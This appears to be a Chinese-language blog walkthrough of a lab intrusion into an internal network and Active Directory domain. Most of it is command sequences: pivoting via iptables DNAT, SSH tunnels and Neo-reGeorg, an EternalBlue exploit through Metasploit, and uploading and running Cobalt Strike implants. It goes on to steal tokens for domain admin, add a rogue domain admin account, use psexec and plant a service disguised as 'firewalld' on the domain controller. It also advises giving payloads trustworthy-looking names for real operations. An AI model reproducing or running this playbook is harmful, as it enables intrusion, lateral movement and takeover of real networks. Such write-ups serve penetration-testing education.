内网保姆车 - 发车啦

Posted by sule01u on October 2, 2023

内网渗透实验

拓扑如下

image-20231002220701603

逐步渗透

1. 拿下web所在主机

前置条件:已通过centos的web漏洞拿到shell, 比如搭建tomcat-CVE-2017-12165,进行内网渗透实验

学习目标:了解内网渗透

  • 冰蝎连接centos中的webshell进行操作:

​ 使用冰蝎上传fscan,扫描内网,可以看到资产192.168.152.141存在ms17-010漏洞

image-20230917193540922

2. 通过ms17-010拿下win7

内网穿透

  • 第一种方法 (冰蝎执行命令): 失陷的centos上配置dnat(限制:需要root权限)
# 失陷linux主机上设置DNAT策略
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 445 -j DNAT --to-destination <win7主机_IP>:<win7端口>
iptables -t nat -A POSTROUTING -j MASQUERADE
  • 第二种方法 : 在失陷的linux主机上搭建ssh隧道,让流量经过你的vps攻击机(普通用户权限即可)

    适用于目标主机不出网,通过已经失陷的linux主机将流量带出来

# 失陷linux主机上执行命令,4444为失陷linux主机端口,5555为vps监听端口
# 失陷linux 4444端口的流量会经过vps转发,vps转发到127.0.0.1即是vps自己,也就是失陷的linux主机上4444端口的流量转发到vps主机上的5555端口
ssh -L 4444:127.0.0.1:5555 root@vps_ip
  • 第三种方式:socks 代理
# 使用工具: Neo-reGeorg + proxifier

# 在攻击机: neo-regrorg设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 
python neoreg.py generate -k password
# 生成完成之后,将php或其他合适的类型的脚本上传到WEB服务器(使用冰蝎上传)
# 连接隧道脚本
python3 neoreg.py -k password -u http://xx/tunnel.php -p 8000
  • 配置proxifier: 设置全局socks5代理并且添加规则指向目标内网网段走我们新配置的socks5

    image-20231002175959146

    image-20231002180244588

  • 其他的一些内网穿透工具:cs、冰蝎、Proxychains、suo5、nps

不管选择哪一种方案穿透内网,设置成功之后,就可以开始打ms17-010:

本次实验选用第三种方式做内网穿透

# 攻击机使用Metasploit
cd metasploit-framework/bin
./msfcosole
use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS <win7主机_IP>
set RPORT 445


#设置完成之后开始攻击
exploit

成功获取到win7主机权限

image-20230919002659278

image-20230919002602146

image-20230919003030573

  • 上线cs (本次实验win7主机出网,可以直接上线cs,反之需要配合ssh隧道才能上线)

    • 上传cs的马

    C:\Windows\Temp权限: 用户可以在其创建的对象上拥有完全控制权

    # 上传cs生成的马到win7的C:\Windows\Temp目录下;\需要转义,所以要写两个\
    upload /Users/shulei/Desktop/update_win7.exe C:\\Windows\\Temp
    

    update_win7.exe

    # 进入shell,执行update_win7.exe
    shell
    cd C:\Windows\Temp
    update_win7.exe            
    

    image-20230919004819833

    • cs查看上线情况,win7成功上线

      image-20230919004637867

3. win7提权 –》 获取域管账户权限

  • 提升主机权限到system权限 (普通用户的情况下,如果直接是system权限,请忽略这一步)
如果你是普通本地用户权限,用以下命令提升到高权限
注意:如果是域用户会弹出认证窗口,不能提权
elevate uac-token-duplication : 选择监听器
然后可以用  elevate svc-exe  再提权到system权限
  • 进入system的beacon查看主机进程,可以查看所有进程情况,找一个administrator的进程,窃取令牌

    steal_token: 窃取令牌

    image-20230918002946371

    # 窃取administrator用户的token
    steal_token 3876
    # 再查看当前用户,已经拿到了域管权限
    shell whoami
    

    image-20230918003058170

  • 查看主机名 shell net localgroup /domain

    image-20230918003424845

  • 查看该主机目录shell dir \\WIN-VT056J4KITR.test.local\c$

    image-20230918003334353

  • 域控主机定位

    域机器的主机dns会指向域控,所以域控主机的ip应该是192.168.111.130

    image-20230918015641524

  • 配置代理使攻击机访问到111网段

    注意:不能直接使用hashdump查看域的用户hash,只能查看本地用户的hash,所以我们无法直接拿到域控权限

    • 启用一个代理 (使用system进程),使cobaltstrike开启一个监听,端口为10081

      image-20230918004018362

    • c2客户端配置代理 (需要安装proxychains4)

      cs server主机与上线的 Beacon(在受控制的目标机器上)之间创建一个隧道,使得任何通过该代理的流量实际上都会被转发到那个特定的 Beacon,然后从那里出到目标网络

      # 编辑配置文件
      sudo vim /etc/proxychains.conf   或者这个路径  sudo vim /usr/local/etc/proxychains.conf
          
      # 添加以下配置,ip为你cs_server的ip,它会把你的流量
       [ProxyList]
       socks5 vps_ip 10081
      

      win7上使用phpstudy启动了http服务,可以测试使用代理访问

      proxychains4 nc -vv 192.168.111.140 80:成功访问111网段

      image-20230918013938277

    4. 获取域控主机权限

    • 第一种方法,新创建域账户

      shell net user lulu Qq123456.. /add /domain         # 添加一个域账户
      shell net localgroup administrators test.local\lulu /add /do     #加入管理员组
          
      shell net user /do     # 查看域用户,lulu用户已经添加
      

      image-20230918020808019

      • 查看用户信息

        image-20230918021213573

      • 测试 (使用impacket)

        Impactket psexec.py 原理就是通过通过认证SMB协议,成功之后上传一个可执行文件,然后通过RPC在目标机器上注册一个新的Windows服务,服务就是上传的可执行文件的路径,启动服务之后,可以获得system shell;

        Windows 服务在默认情况下通常是以 NT AUTHORITY\SYSTEM 身份运行的,所以我们拿到的用户身份是:NT AUTHORITY\SYSTEM;

        proxychains4 python3 psexec.py lulu:Qq123456..@192.168.111.130
              
        chcp 65001       # 修改为中文编码
        whoami           # 查看当前用户
        

        image-20230918021429393

      • systeminfo 查看系统信息

        确认已经获取域控主机权限

        image-20230918021730058

上线域控主机

1. 域控不出网破局

  • 将win7设置为中转

    image-20230918022142880

    查看event log: 已经有tcp session在该端口工作

    image-20230918022221027

    • 生成全阶段马, 我保存到了c2客户端的桌面,名称为big_update.exe(随便你自己取名,实战最好起那看起来比较”靠谱“的exe名称)

      image-20230918023143906

    • 上传马 upload,然后弹出的界面选择刚生成的马

      image-20230920223925926

    • 拷贝到域控主机

      shell copy big_update.exe \\192.168.111.130\c$\Users
      

2. 上线方式

  • 第一种方式:使用代理连接终端执行我们上传的马

    proxychains4 python3 psexec.py lulu:Qq123456..@192.168.111.130
    

    image-20230918123619918

    域控主机成功上线image-20230918123712471

  • 第二种方式:创建服务

    # 在域控创建服务
    shell sc \\192.168.111.130 create firewalld binpath= "C:/Users/cmdc.exe"
      
    # 查询服务是否存在
    shell sc \\192.168.111.130 query firewalld
      
    # 启动服务
    shell sc \\192.168.111.130 start firewalld
    
  • 第三种方式:利用漏洞 (ms14-068)打进去